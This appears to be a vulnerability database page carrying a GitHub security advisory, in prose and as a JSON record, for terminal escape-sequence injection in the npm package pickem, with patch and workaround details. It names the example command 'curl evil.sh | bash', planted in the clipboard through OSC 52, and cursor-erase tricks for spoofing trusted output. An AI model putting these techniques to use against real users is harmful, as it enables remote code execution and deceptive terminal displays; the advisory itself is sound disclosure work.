GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration

GHSA-8QX3-8GM5-9CJ2

Vulnerability from github – Published: 2026-08-25 15:59 – Updated: 2026-08-25 15:59
VLAI
Summary
pickem vulnerable to terminal escape-sequence injection via unsanitized item text
Details

Impact

pickem rendered item text (label, description, group, meta, name) to the terminal with no control-character sanitization. chrome.row only stripped ANSI from the active row; inactive rows, the public createFormatter, and selection-summary lines printed labels raw, and the ANSI strip missed bare C0 controls anyway.

Because item text is frequently attacker-controllable (git branch names, PR/issue titles, filenames, npm/API results), a malicious label was a terminal write primitive:

  • OSC 52 clipboard write — silently load e.g. curl evil.sh | bash into the user's clipboard; their next paste-into-shell is RCE.
  • Cursor-movement + erase (ESC[1A, ESC[2K) — overwrite already-printed trusted lines to spoof UI (forge a "✓ Verified publisher", fake prompt, or hide a malicious entry).
  • BEL / C0 control flooding.

Any CLI that passes untrusted strings into pickem choices is affected.

Patches

Fixed in 1.0.7. A new sanitizeDisplay() strips every escape sequence except inert SGR (color), plus all C0/C1/DEL control bytes, at the render boundary — applied to every externally-supplied display string across all prompts (select, search, checkbox, searchable-checkbox, input), createFormatter, row meta, and committed selection summaries. Display-only; returned values are unchanged.

Workarounds

Upgrade to >= 1.0.7. Otherwise, strip C0/C1/DEL control characters and ANSI escape sequences from any untrusted text before passing it to pickem.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "pickem"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.0.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-150"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-25T15:59:11Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Impact\npickem rendered item text (label, description, group, meta, name) to the terminal with no control-character sanitization. `chrome.row` only stripped ANSI from the **active** row; inactive rows, the public `createFormatter`, and selection-summary lines printed labels **raw**, and the ANSI strip missed bare C0 controls anyway.\n\nBecause item text is frequently attacker-controllable (git branch names, PR/issue titles, filenames, npm/API results), a malicious label was a terminal write primitive:\n\n- **OSC 52 clipboard write** \u2014 silently load e.g. `curl evil.sh | bash` into the user\u0027s clipboard; their next paste-into-shell is RCE.\n- **Cursor-movement + erase** (`ESC[1A`, `ESC[2K`) \u2014 overwrite already-printed trusted lines to spoof UI (forge a \"\u2713 Verified publisher\", fake prompt, or hide a malicious entry).\n- **BEL / C0 control flooding.**\n\nAny CLI that passes untrusted strings into pickem choices is affected.\n\n### Patches\nFixed in **1.0.7**. A new `sanitizeDisplay()` strips every escape sequence except inert SGR (color), plus all C0/C1/DEL control bytes, at the render boundary \u2014 applied to every externally-supplied display string across all prompts (`select`, `search`, `checkbox`, `searchable-checkbox`, `input`), `createFormatter`, row meta, and committed selection summaries. Display-only; returned values are unchanged.\n\n### Workarounds\nUpgrade to \u003e= 1.0.7. Otherwise, strip C0/C1/DEL control characters and ANSI escape sequences from any untrusted text before passing it to pickem.",
  "id": "GHSA-8qx3-8gm5-9cj2",
  "modified": "2026-08-25T15:59:11Z",
  "published": "2026-08-25T15:59:11Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/calebogden/pickem-oss/security/advisories/GHSA-8qx3-8gm5-9cj2"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/calebogden/pickem-oss"
    },
    {
      "type": "WEB",
      "url": "https://github.com/calebogden/pickem-oss/releases/tag/v1.0.7"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "pickem vulnerable to terminal escape-sequence injection via unsanitized item text"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…